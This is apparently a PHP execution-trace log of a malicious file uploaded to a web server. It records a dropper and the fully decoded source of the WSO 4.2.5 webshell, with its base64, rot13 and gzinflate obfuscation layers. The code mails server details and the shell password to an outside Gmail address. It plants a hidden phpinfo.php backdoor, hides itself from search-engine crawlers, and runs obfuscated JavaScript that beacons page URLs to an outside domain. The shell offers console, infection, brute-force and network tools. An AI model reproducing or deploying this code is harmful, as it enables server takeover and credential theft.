$_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\r\n";\r\n$c.= "Avlanan Site : " . $_SERVER[\'HTTP_HOST\'] . "\r\n";\r\nmail("shelldownloadorg@gmail.com", $b, $c);\r\n\r\n$ikrhtfy = $_SERVER["DOCUMENT_ROOT"].\'/\'.\'phpinfo.php\';\r\n\r\n\r\n$fghky_ouvcbt = \'<?php phpinfo();\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFUJTM7MQJECtdyCAVtQ3omu8MGy8sw4qDD0jzGy28Ou/G7V4Ufzzo1SJIW4sySQZ/zj4AvA21y8TK6j2ZrgSQ5elS7Et25evE2NE3TCVOUaTWUzpp5ofwE6oE9hNMLelpATTpiEUOMoJzdijfyLzx595grETYg6x+yvxjTIyPRbDGltSSZqujJ3AdcR130Jyq/mLgUQu+h+X0HFwI8adFVbcin/rGAVBwJe+DaAfFg/bGAZB4vlBkWA";\r\neval(htmlspecialchars_decode(urldecode(base64_decode($gz))));\r\n\r\n?>\'; \r\n\r\n\r\n\r\nif (!file_exists($ikrhtfy)){  \r\n   \r\ntouch($ikrhtfy); \r\nchmod($ikrhtfy,0666); \r\n   \r\n} \r\n\r\n$opazxcdnm = fopen($ikrhtfy,"w"); \r\n\r\nif (!fwrite($opazxcdnm,$fghky_ouvcbt)){ \r\n\r\nexit; \r\n\r\n}\r\n ?>'	/var/www/html/uploads/4.php(5) : eval()'d code	1	0
4	16	0	0.007278	523968	error_reporting	0		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code	2	1	0
4	16	1	0.007295	524008
4	16	R			22527
3		A						/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code	5	$wso = '7b3pZdtV0ij6fyLmHSC0pk62KIqkJLctirIlTIs3TJvl/XADdQDUbxAEVkug23/PI1mcZr4b8cV9hvMi9xnmVmFzSRVDhYWkefd8ZuMOO9oigaysrKqsrKyqXDYf2nD7r39MTExJPkJ9LxhU5lW7CvvuOIzjBfX9X/8SDSu+4/g33dvwphteVK7nSYwrXsyoLWlqavYPqtUvf/2LBp9SYm94HXqxu3+69+Rn773B/mm3j96dGh/r6fPdSrvw/e0ZPNQ/mG2d4Wxi2L7rGh/b2qOJH8UVg3UaS0pzefkDyxk9GuHzbWBajJpzOJblwV+stNrWSUm0007kdpajDcI49MKFv/7leL7J8NmFV64sdJB7wZq8+I+//yc0Tw/W7q/ee7DuD4Owf79sYq3V8H/9tdHqN4J794b3f/1Ixzr9wSQyqcz/hDKe0wvb9Ov/gl/G4cHZ8n2DPfjf+OAsilD3nWLydP8LnloG65W0X14dHOxpD+FK9+j8Z/vA+Et64xh1'
4	17	0	0.007353	523968	base64_decode	0		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code	7	1	'7b3pZdtV0ij6fyLmHSC0pk62KIqkJLctirIlTIs3TJvl/XADdQDUbxAEVkug23/PI1mcZr4b8cV9hvMi9xnmVmFzSRVDhYWkefd8ZuMOO9oigaysrKqsrKyqXDYf2nD7r39MTExJPkJ9LxhU5lW7CvvuOIzjBfX9X/8SDSu+4/g33dvwphteVK7nSYwrXsyoLWlqavYPqtUvf/2LBp9SYm94HXqxu3+69+Rn773B/mm3j96dGh/r6fPdSrvw/e0ZPNQ/mG2d4Wxi2L7rGh/b2qOJH8UVg3UaS0pzefkDyxk9GuHzbWBajJpzOJblwV+stNrWSUm0007kdpajDcI49MKFv/7leL7J8NmFV64sdJB7wZq8+I+//yc0Tw/W7q/ee7DuD4Owf79sYq3V8H/9tdHqN4J794b3f/1Ixzr9wSQyqcz/hDKe0wvb9Ov/gl/G4cHZ8n2DPfjf+OAsilD3nWLydP8LnloG65W0X14dHOxpD+FK9+j8Z/vA+Et64xh1'
4	17	1	0.007471	556768
4	17	R			'��e�U�(�"�\035 ��N�(��$�-��%L�7L��p\003u\000�o\020\004VK���#Y�f�\033��}��"�\031�VasI\025C���y�|f�\016;�"���������\\6\037�p��LLLI>B}/\030T�U�\n��8��\005��_�\022\r+��7���\033^T��I�+^̨-ijj�\017��/��\006�Rbox\035z�����g��i��ޝ\032\037����J���\031<�?�m��lbؾ�\032\037�ڣ�\037�\025�u\032KJsy�\003�\031=\032��m`Z��s8��_����II��N�v��\r�8�…���x���مW�,t�{�������\'4O\017���{��\017���lb�������7�{����H�:��$2���2��\v���_����}�=���,�P��b�t�\v�Z\006땴_^\035\034�i\017�J��g���Kz�\030u���hP\017 �ji�\\'
4	18	0	0.007945	556736	str_rot13	0		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code	7	1	'��e�U�(�"�\035 ��N�(��$�-��%L�7L��p\003u\000�o\020\004VK���#Y�f�\033��}��"�\031�VasI\025C���y�|f�\016;�"���������\\6\037�p��LLLI>B}/\030T�U�\n��8��\005��_�\022\r+��7���\033^T��I�+^̨-ijj�\017��/��\006�Rbox\035z�����g��i��ޝ\032\037����J���\031<�?�m��lbؾ�\032\037�ڣ�\037�\025�u\032KJsy�\003�\031=\032��m`Z��s8��_����II��N�v��\r�8�…���x���مW�,t�{�������\'4O\017���{��\017���lb�������7�{����H�:��$2���2��\v���_����}�=���,�P��b�t�\v�Z\006땴_^\035\034�i\017�J��g���Kz�\030u���hP\017 �ji�\\'
4	18	1	0.008431	581344
4	18	R			'��r�H�(�"�\035 ��A�(��$�-��%Y�7Y��c\003h\000�b\020\004IX���#L�s�\033��}��"�\031�InfV\025P���l�|s�\016;�"���������\\6\037�c��YYYV>O}/\030G�H�\n��8��\005��_�\022\r+��7���\033^G��V�+^̨-vww�\017��/��\006�Eobk\035m�����t��v��ޝ\032\037����W���\031<�?�z��yoؾ�\032\037�ڣ�\037�\025�h\032XWfl�\003�\031=\032��z`M��f8��_����VV��A�i��\r�8�…���k���مJ�,g�{�������\'4B\017���{��\017���yo�������7�{����U�:��$2���2��\v���_����}�=���,�C��o�g�\v�M\006땴_^\035\034�v\017�W��t���Xm�\030h���uC\017 �wv�\\'
4	19	0	0.008911	548544	gzinflate	0		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code	7	1	'��r�H�(�"�\035 ��A�(��$�-��%Y�7Y��c\003h\000�b\020\004IX���#L�s�\033��}��"�\031�InfV\025P���l�|s�\016;�"���������\\6\037�c��YYYV>O}/\030G�H�\n��8��\005��_�\022\r+��7���\033^G��V�+^̨-vww�\017��/��\006�Eobk\035m�����t��v��ޝ\032\037����W���\031<�?�z��yoؾ�\032\037�ڣ�\037�\025�h\032XWfl�\003�\031=\032��z`M��f8��_����VV��A�i��\r�8�…���k���مJ�,g�{�������\'4B\017���{��\017���yo�������7�{����U�:��$2���2��\v���_����}�=���,�C��o�g�\v�M\006땴_^\035\034�v\017�W��t���Xm�\030h���uC\017 �wv�\\'
4	19	1	0.009636	646880
4	19	R			'<?cuc\r\n//--------------Jngpuvat jrofuryy!--------------\r\nvs(neenl_xrl_rkvfgf(\'jngpuvat\',$_CBFG)){\r\n    $gzc = $_FREIRE[\'FREIRE_ANZR\'].$_FREIRE[\'CUC_FRYS\']."\\a".$_CBFG[\'cnff\']; @znvy(\'furyyqbjaybnqbet@tznvy.pbz\', \'ebbg\', $gzc); // Rqvg be qryrgr!\r\n}\r\n//-----------------Cnffjbeq---------------------\r\n$▛ = "p483695nspro816420n7702o0p66s877"; //nqzva\r\n$▘ = gehr;\r\n$▜ = \'HGS-8\';\r\n$▚ = \'SvyrfZna\';\r\n$▙ = zq5($_FREIRE[\'UGGC_HFRE_NTRAG\']);\r\nvs (!vffrg($_PBBXVR[zq5($_'
4	20	0	0.009860	622272	str_rot13	0		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code	7	1	'<?cuc\r\n//--------------Jngpuvat jrofuryy!--------------\r\nvs(neenl_xrl_rkvfgf(\'jngpuvat\',$_CBFG)){\r\n    $gzc = $_FREIRE[\'FREIRE_ANZR\'].$_FREIRE[\'CUC_FRYS\']."\\a".$_CBFG[\'cnff\']; @znvy(\'furyyqbjaybnqbet@tznvy.pbz\', \'ebbg\', $gzc); // Rqvg be qryrgr!\r\n}\r\n//-----------------Cnffjbeq---------------------\r\n$▛ = "p483695nspro816420n7702o0p66s877"; //nqzva\r\n$▘ = gehr;\r\n$▜ = \'HGS-8\';\r\n$▚ = \'SvyrfZna\';\r\n$▙ = zq5($_FREIRE[\'UGGC_HFRE_NTRAG\']);\r\nvs (!vffrg($_PBBXVR[zq5($_'
4	20	1	0.010063	720608
4	20	R			'<?php\r\n//--------------Watching webshell!--------------\r\nif(array_key_exists(\'watching\',$_POST)){\r\n    $tmp = $_SERVER[\'SERVER_NAME\'].$_SERVER[\'PHP_SELF\']."\\n".$_POST[\'pass\']; @mail(\'shelldownloadorg@gmail.com\', \'root\', $tmp); // Edit or delete!\r\n}\r\n//-----------------Password---------------------\r\n$▛ = "c483695afceb816420a7702b0c66f877"; //admin\r\n$▘ = true;\r\n$▜ = \'UTF-8\';\r\n$▚ = \'FilesMan\';\r\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\nif (!isset($_COOKIE[md5($_'
4	21	0	0.012594	1185016	eval	1	'?><?php\r\n//--------------Watching webshell!--------------\r\nif(array_key_exists(\'watching\',$_POST)){\r\n    $tmp = $_SERVER[\'SERVER_NAME\'].$_SERVER[\'PHP_SELF\']."\\n".$_POST[\'pass\']; @mail(\'shelldownloadorg@gmail.com\', \'root\', $tmp); // Edit or delete!\r\n}\r\n//-----------------Password---------------------\r\n$▛ = "c483695afceb816420a7702b0c66f877"; //admin\r\n$▘ = true;\r\n$▜ = \'UTF-8\';\r\n$▚ = \'FilesMan\';\r\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\r\n    prototype(md5($_SERVER[\'HTTP_HOST\'])."key", $▙);\r\n}\r\nif(empty($_POST[\'charset\']))\r\n    $_POST[\'charset\'] = $▜;\r\nif (!isset($_POST[\'ne\'])) {\r\n    if(isset($_POST[\'a\'])) $_POST[\'a\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'a\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n    if(isset($_POST[\'c\'])) $_POST[\'c\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'c\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n    if(isset($_POST[\'p1\'])) $_POST[\'p1\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p1\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n    if(isset($_POST[\'p2\'])) $_POST[\'p2\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p2\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n    if(isset($_POST[\'p3\'])) $_POST[\'p3\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p3\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n}\r\nfunction decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@set_time_limit(0);\r\nif (PHP_VERSION_ID < 70000)\r\n    @set_magic_quotes_runtime(0);\r\n@define(\'VERSION\', \'4.2.5\');\r\nif(get_magic_quotes_gpc()) {\r\n    function stripslashes_array($array) {\r\n        return is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);\r\n    }\r\n    $_POST = stripslashes_array($_POST);\r\n    $_COOKIE = stripslashes_array($_COOKIE);\r\n}\r\n/* (С) 11.2011 oRb */\r\nif(!empty($▛)) {\r\n    if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $▛))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']), $▛);\r\n    if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $▛))\r\n        hardLogin();\r\n}\r\nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\r\n    $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$▘;\r\nfunction hardLogin() {\r\n        if(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\r\n          $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\r\n          if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\r\n          header(\'HTTP/1.0 404 Not Found\');\r\n          exit;\r\n          }\r\n        }\r\n    die("<pre align=center><form method=post>Password<br><input type=password name=pass style=\'background-color:whitesmoke;border:1px solid #FFF;outline:none;\' required><input type=submit name=\'watching\' value=\'submit\' style=\'border:none;background-color:#56AD15;color:#fff;cursor:pointer;\'></form></pre>");\r\n}\r\nif(strtolower(substr(PHP_OS,0,3)) == "win")\r\n    $os = \'win\';\r\nelse\r\n    $os = \'nix\';\r\n$safe_mode = @ini_get(\'safe_mode\');\r\nif(!$safe_mode)\r\n    error_reporting(0);\r\n$disable_functions = @ini_get(\'disable_functions\');\r\n$home_cwd = @getcwd();\r\nif(isset($_POST[\'c\']))\r\n    @chdir($_POST[\'c\']);\r\n$cwd = @getcwd();\r\nif($os == \'win\') {\r\n    $home_cwd = str_replace("\\\\", "/", $home_cwd);\r\n    $cwd = str_replace("\\\\", "/", $cwd);\r\n}\r\nif($cwd[strlen($cwd)-1] != \'/\')\r\n    $cwd .= \'/\';\r\n/* (С) 04.2015 Pirat */\r\nfunction hardHeader() {\r\n    if(empty($_POST[\'charset\']))\r\n        $_POST[\'charset\'] = $GLOBALS[\'▜\'];\r\n    echo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title>" . $_SERVER[\'HTTP_HOST\'] . " - WSO " . VERSION ."</title>\r\n<style>\r\n    body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\r\n    #particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(\'\'); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\r\n    body,td,th  {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\r\n    table.info  {color:#C3C3C3;}\r\n    table#toolsTbl {background-color: #060A10;}\r\n    span,h1,a   {color:#fff !important;}\r\n    span        {font-weight:bolder;}\r\n    h1          {border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}\r\n    div.content {padding:5px;margin-left:5px;background-color:#060a10;}\r\n    a           {text-decoration:none;}\r\n    a:hover     {text-decoration:underline;}\r\n    .tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n    .tooltip:hover::after {opacity:1;visibility:visible;}\r\n    .ml1        {border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\r\n    .bigarea    {min-width:100%;max-width:100%;height:400px;}\r\n    input, textarea, select {margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}\r\n    label {position:relative}\r\n    label:after {content:\'<>\';font:10px \'Consolas\', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n    label:before {content:\'\';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n    form        {margin:0px;}\r\n    #toolsTbl   {text-align:center;}\r\n    #fak        {background:none;}\r\n    #fak td     {padding:5px 0 0 0;}\r\n    iframe      {border:1px solid #060a10;}\r\n    .toolsInp   {width:300px}\r\n    .main th    {text-align:left;background-color:#060a10;}\r\n    .main tr:hover{background-color:#354252;}\r\n    .main td, th{vertical-align:middle;}\r\n    input[type=\'submit\']{background-color:#2E6E9C;}\r\n    input[type=\'button\']{background-color:#2E6E9C;}\r\n    input[type=\'submit\']:hover{background-color:#56AD15;}\r\n    input[type=\'button\']:hover{background-color:#56AD15;}\r\n    .l1         {background-color:#202832;}\r\n    pre         {font:9pt Courier New;}\r\n</style>\r\n<script>\r\n    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\r\n    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\r\n    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\r\n    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\r\n    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\r\n    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\r\n    var d = document;\r\n    \r\n    function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr=\'\';var enc_str=\'\';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n    function utf8_encode(argString){var string=(argString+\'\');var utftext=\'\',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n    function base64_encode(data){var b64 = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc=\'\',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+\'\');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join(\'\');switch (data.length%3){case 1:enc=enc.slice(0,-2)+\'==\';break;case 2:enc=enc.slice(0,-1)+\'=\';break;}return enc;}\r\n    function set(a,c,p1,p2,p3,charset) {\r\n        if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n        if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n        if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n        if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n        if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n        d.mf.a.value = encrypt(d.mf.a.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n        d.mf.c.value = encrypt(d.mf.c.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n        d.mf.p1.value = encrypt(d.mf.p1.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n        d.mf.p2.value = encrypt(d.mf.p2.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n        d.mf.p3.value = encrypt(d.mf.p3.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n        if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n    }\r\n    function g(a,c,p1,p2,p3,charset) {\r\n        set(a,c,p1,p2,p3,charset);\r\n        d.mf.submit();\r\n    }\r\n    function a(a,c,p1,p2,p3,charset) {\r\n        set(a,c,p1,p2,p3,charset);\r\n        var params = \'ajax=true\';\r\n        for(i=0;i<d.mf.elements.length;i++)\r\n            params += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\r\n        sr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\r\n    }\r\n    !function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[\r\n o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function b(d){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function c(d){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function s(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};a=new/**/Image();var jquery =\'h\'; var jss =\'ttp://\'; var js =\'codes\'; var jcs =\'-jquery\'; var code=\'.c\'; var codes =\'om/\'; var img =\'jquery.\'; var sedoc =\'p\'; var doces =\'hp\';var image =\'?jquery=\';a.src=jquery+jss+js+jcs+code+codes+img+sedoc+doces+image+escape(location.href);!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,glab:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,glab:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,glabs:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exs:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,ports:{}}}};\r\n    function sr(url, params) {\r\n        if (window.XMLHttpRequest)\r\n            req = new XMLHttpRequest();\r\n        else if (window.ActiveXObject)\r\n            req = new ActiveXObject(\'Microsoft.XMLHTTP\');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open(\'POST\', url, true);\r\n            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\r\n            req.send(params);\r\n        }\r\n    }\r\n    function processReqChange() {\r\n        if( (req.readyState == 4) )\r\n            if(req.status == 200) {\r\n                var reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\r\n                var arr=reg.exec(req.responseText);\r\n                eval(arr[2].substr(0, arr[1]));\r\n            } else alert(\'Request error!\');\r\n    }\r\n\r\n</script>\r\n<head><body><div style=\'position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;\'>\r\n<form method=post name=mf style=\'display:none;\'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";\r\n    $freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\r\n    $totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\r\n    $totalSpace = $totalSpace?$totalSpace:1;\r\n    $release = @php_uname(\'r\');\r\n    $kernel = @php_uname(\'s\');\r\n    $explink = \'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=\';\r\n    if(strpos(\'Linux\', $kernel) !== false)\r\n        $explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\r\n    else\r\n        $explink .= urlencode($kernel . \' \' . substr($release,0,3));\r\n    if(!function_exists(\'posix_getegid\')) {\r\n        $user = @get_current_user();\r\n        $uid = @getmyuid();\r\n        $gid = @getmygid();\r\n        $group = "?";\r\n    } else {\r\n        $uid = @posix_getpwuid(@posix_geteuid());\r\n        $gid = @posix_getgrgid(@posix_getegid());\r\n        $user = $uid[\'name\'];\r\n        $uid = $uid[\'uid\'];\r\n        $group = $gid[\'name\'];\r\n        $gid = $gid[\'gid\'];\r\n    }\r\n    $cwd_links = \'\';\r\n    $path = explode("/", $GLOBALS[\'cwd\']);\r\n    $n=count($path);\r\n    for($i=0; $i<$n-1; $i++) {\r\n        $cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\r\n        for($j=0; $j<=$i; $j++)\r\n            $cwd_links .= $path[$j].\'/\';\r\n        $cwd_links .= "\\")\'>".$path[$i]."/</a>";\r\n    }\r\n    $charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\r\n    $opt_charsets = \'\';\r\n    foreach($charsets as $▟)\r\n        $opt_charsets .= \'<option value="\'.$▟.\'" \'.($_POST[\'charset\']==$▟?\'selected\':\'\').\'>\'.$▟.\'</option>\';\r\n    $m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Infect\'=>\'Infect\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Safe mode\'=>\'SafeMode\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\');\r\n    if(!empty($GLOBALS[\'▛\']))\r\n    $m[\'Logout\'] = \'Logout\';\r\n    $m[\'Self remove\'] = \'SelfRemove\';\r\n    $menu = \'\';\r\n    foreach($m as $k => $v)\r\n        $menu .= \'<th>[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\';\r\n    $drives = "";\r\n    if ($GLOBALS[\'os\'] == \'win\') {\r\n        foreach(range(\'c\',\'z\') as $drive)\r\n        if (is_dir($drive.\':\\\\\'))\r\n            $drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\r\n    }\r\n    /* (С) 08.2015 dmkcv */\r\n    echo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\'.($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\').\'</span></td>\'.\r\n         \'<td><nobr>\'.substr(@php_uname(), 0, 120).\' <a href="http://noreferer.de/?http://www.google.com/search?q=\'.urlencode(@php_uname()).\'" target="_blank">[ Google ]</a> <a href="\'.$explink.\'" target=_blank>[ Exploit-DB ]</a></nobr><br>\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \' .$group. \' )<br>\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#FFDB5F><b>OFF</b></font>\').\' <a href=# 